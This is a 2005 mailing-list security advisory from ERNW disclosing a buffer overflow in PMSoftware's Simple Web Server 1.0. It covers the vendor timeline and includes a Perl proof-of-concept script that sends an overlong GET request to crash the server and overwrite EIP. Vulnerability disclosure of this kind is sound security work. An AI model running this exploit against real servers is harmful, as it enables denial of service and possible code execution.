Date: Mon, 18 Apr 2005 18:54:22 +0200
From: Mailinglists <mozilla@ids-guide.de.>
Subject: ERNW Security Advisory 01/2005
To: [email protected], [email protected],
[email protected]
X-AntiVirus: OK! AntiVir MailGate Version 2.0.0.3
at Hydra has not found any known virus in this email.
X-Priority: 3 (Normal)
X-Virus-Scanned: antivirus-gw at tyumen.ru
ERNW Security Advisory 01-2005
Buffer Overflow in PMSoftware's Simple Web Server
Author:
Michael Thumann <mthumann[at]ernw.de>
1. Summary:
Simple Web Server doesn't do proper bounds checking handling normal GET requests.
Sending an overlong page or script name, it causes an buffer overflow and an attacker
can controll the EIP to run arbitrary code on the victims machine.
2. Severity : Critical
3. Systems affected
The vulnerability was testest with Simple Web Server 1.0
4. Patch Availability :
No patch available
5. Details
The follwoing request causes Simple Web Server to crash:
GET /AAAAAA.....AAAA with 260 As
A Proof of Concept Code is published with this Advisory
6. Solution
Use another web server ;-)
7. Time-Line
17 Feb 2005: Vulnerability reported to vendor
28 Feb 2005: 2nd report because the vendor didn't respond
07 Mar 2005: 3rd mail sent to thre vendor - vendor didn't respond
18 Apr 2005: Public Disclosure
8. Exploit
#!/usr/bin/perl
# DoS Exploit By [email protected]
# Tested against WinXP + SP2
# Remote Buffer Overflow in PMSoftware Simple Web Server 1.0.15
# buffer[250]
use Socket;
print "PMSoftware Simple Web Server Exploit by Michael Thumann \n\n";
if (not $ARGV[0]) {
print "Usage: swsexploit.pl <host>\n";
exit;}
$ip=$ARGV[0];
print "Sending Shellcode to: " . $ip . "\n\n";
my $testcode=
"ERNWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB".
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC".
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD".
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE".
"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF".
"ABCDEFGHIJAAAA"; #EIP =41414141
my $attack="GET /".$testcode." HTTP/1.1\n" ;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S);
$|=1;
print $attack;
my @in=<S>;
select(STDOUT);
close(S);
} else { die("Can't connect...\n"); }
9. Disclaimer
The informations in this advisory are provided "AS IS" without warranty
of any kind. In no event shall the authors be liable for any damages
whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages due to the misuse of any
information provided in this advisory.
